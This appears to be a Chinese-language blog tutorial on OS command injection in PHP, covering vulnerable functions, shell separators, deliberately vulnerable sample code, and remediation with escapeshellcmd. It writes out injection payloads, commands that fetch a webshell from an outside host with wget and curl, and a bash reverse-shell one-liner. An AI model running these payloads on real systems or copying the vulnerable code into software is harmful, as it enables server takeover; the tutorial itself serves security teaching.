8_任意系统命令执行

命令执行

应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、
proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成系统
命令执行攻击,这就是命令执行漏洞。

利用条件

1.应用调用行系统命令的函数
2.将用户输入作为系统命令的参数拼接到了命令中
3.没有对用户输入进行过滤或过滤不严

 漏洞分类

1.代码层过滤不严
  商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函数来调用:
  system("/bin/program -arg $arg");
2.系统的漏洞造成命令注入
  bash破壳漏洞(CVE-2014-6271)
3.调用的第三方组件存在代码执行漏洞
  如WordPress中用来处理图片的ImageMagick组件
  JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)ThinkPHP命令执行

漏洞危害

1.继承web服务程序的权限去执行系统命令或读写文件
2.反弹shell
3.控制整个网站甚至控制服务器
4.进一步内网渗透等

 漏洞可能代码(以 system为例)

1.system("$arg"); //直接输入即可
2.system("/bin/prog $arg"); //直接输入;ls
3.system("/bin/prog -p $arg"); //和2一样
4.system("/bin/prog --p=\"$arg\"); //可以输入";ls;"
5.system("bin/prog --p='$arg'"); //可以输入';ls;'

在linux上,上面的;也可以用|、||代替
  ;前面的执行完执行后面的
  |是管道符,显示后面的执行结果
  ||当前面的执行出错时执行后面的
在windows上,不能用;可以用&、&&、|、||代替
  &前面的语句为假则直接执行后面的
  &&前面的语句为假直接出错,后面的也不执行
  |直接执行后面的语句
  ||前面出错执行后面的

 

 

漏洞利用(以system为例)

  1.典型的漏洞代码(可控点是待执行的命令)

<?php
   system($_GET['cmd']);
?>

  2.典型的漏洞代码(可控点是传入程序的整个参数)

<?php
    $cmd=$_GET['cmd'];
    system("ping ".$cmd);
?>

 

  3.典型的漏洞代码(可控点是传入程序的某个参数的值(无引号包裹))

<?php
    $cmd=$_GET['cmd'];
    system("ping -n ".$cmd);
?>    

 

  4.典型的漏洞代码(可控点是传入程序的某个参数的值(有双引号包裹))

  如果在linux shell环境下双引号被转义(addslashes),双引号中间的变量也是可以被解析的,我们可以在双引号内利用反引号执行任意命令`id`。

<?php
    $cmd=$_GET['cmd'];
    system("ping -n \"$cmd\"");
?>

 

  其他

*动态函数调用
  在cmd.php的代码中如下:
<?php
  $fun = $_GET['fun'];
  $par = $_GET['par'];
  $fun($par);
?>
提交http://localhost/cmd.php?fun=system&par=net user,
最终执行的是system("net user")

 

 关于获取webshell

要有写权限!
1.得到当前或绝对路径(可以用pwd)
2.写文件:
  用?cmd=echo "<?php ohoinfo()?>" > /var/www/html/info.php
  或?cmd=wget -O /var/www/html/info.php http://www.xx.com/phpinfo.txt
  或?cmd=curl http://www.xx.com/phpinfo.txt > /var/www/html/info.php

 反弹shell

远程执行nc -l -p 8888
?cmd=bash -i >& /dev/tcp/10.0.0.1/8888 0>&1

 漏洞修复

1.尽量少用执行命令的函数或者直接禁用
2.参数值尽量使用引号包括
3.在使用动态函数之前,确保使用的函数是指定的函数之一
4.在进入执行命令的函数/方法之前,对参数进行过滤,对敏感字符进行转义。
<?php
  $arg = $_GET['cmd'];
  // $arg = addslashes($arg);
  $arg = escapeshellcmd($arg); //拼接前就处理
  if($arg) {
    system("ls -al '$arg'");
  }
?>

 

posted on 2016-08-29 22:13  Time_dog  阅读(618)  评论(0编辑  收藏  举报

导航